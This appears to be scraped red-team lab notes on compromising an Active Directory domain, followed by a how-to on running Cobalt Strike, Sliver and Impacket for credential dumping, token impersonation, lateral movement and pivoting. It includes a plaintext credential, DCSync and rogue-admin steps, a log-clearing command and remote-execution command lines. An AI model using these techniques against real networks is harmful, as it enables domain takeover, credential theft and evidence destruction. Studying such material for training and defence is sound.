- Hosts discovered:

- WS01: [Link]

- DC01: [Link]

- Users found:

- katie, svc_print, admin01

- Shares:

- \\WS01\Shared

- \\DC01\SYSVOL

## � Initial Access

- Credentials found:

- katie:CrypT0medPass

- Exploits used:

- MS17-010 EternalBlue (successful on WS01)

## � Privilege Escalation

- Method: Token Impersonation

- MITRE ID: T1134.001

- Steps:

1. Used Invoke-TokenManipulation.ps1 to impersonate DA token

2. Validated admin privileges

## � Lateral Movement

- Tool: Impacket [Link]

- MITRE ID: T1021.002

- Details:

- From WS01 to DC01 using svc_print creds

- Alternative:

- WMI remote execution (T1047)

## � Domain Domination

- Methods:

- DCSync with Mimikatz (T1003.003)

- ACL abuse on AdminSDHolder (T1221)

- New admin user added: redteamadmin

## � Cleanup

- Cleared logs: `wevtutil cl System`

- Removed persistence registry keys (T1547.001)

- Confirmed no active backdoors

## � Flags & Evidence

- Flag #1 WS01 User Desktop: [screenshot filename]

- Flag #2 DC01 C:\Secrets: [screenshot filename]

---

## Tools Used

- PowerView.ps1

- Mimikatz

- Impacket ([Link], [Link])

- BloodHound

---

## Notes

- Watch for detection when using PSExec

- Avoid disabling DC services to prevent instability

- Always verify creds via RDP and WMI

Help Simulating Real TTPs with Popular Tools

a) Cobalt Strike

• Set up Team Server on your Kali or Linux box.

• Configure a listener (HTTP, HTTPS, SMB).

• Generate a Beacon payload (staged or stageless).

• Deploy on your Windows VM.

• Use interactive commands:

o beacon> shell for interactive shell

o beacon> screenshot to capture victim screen

o beacon> mimikatz for credential dumping

o beacon> spawnas for token impersonation

 • Use Pivoting: beacon> socks to tunnel through compromised hosts.

b) Sliver (MITRE’s Open Source C2)

• Install Sliver ([Link]

• Start Sliver server (./sliver-server)

• Create listeners (HTTP/HTTPS/SMB)

• Generate implants for Windows, Linux, MacOS

• Use Sliver shell for commands:

o sessions to list beacons

o interact <id> to control a beacon

o mimikatz module included

o Port forwarding and pivoting supported

c) Impacket (for Lateral Movement & Credential Access)

• Tools include:

o [Link] — Execute commands remotely using SMB and admin creds

o [Link] — Execute commands via WMI

o [Link] — Enumerate SPNs for Kerberoasting

• Usage example:

python3 [Link] DOMAIN/admin@target_ip [Link]

python3 [Link] DOMAIN/admin@target_ip "whoami"

• Use [Link] to pull service tickets for offline cracking.

Update:
for JEA you need to use minrm

[Link]
Credits & Disclaimer

� Uploaded by: [Link]

� Stay updated with more cybersecurity content at: [Link]

� To improve your hacking skills Join our discussion group: [Link]

� This content is shared for educational purposes only. Please support the original creators by
purchasing official courses when possible.

� Knowledge is power—use it responsibly!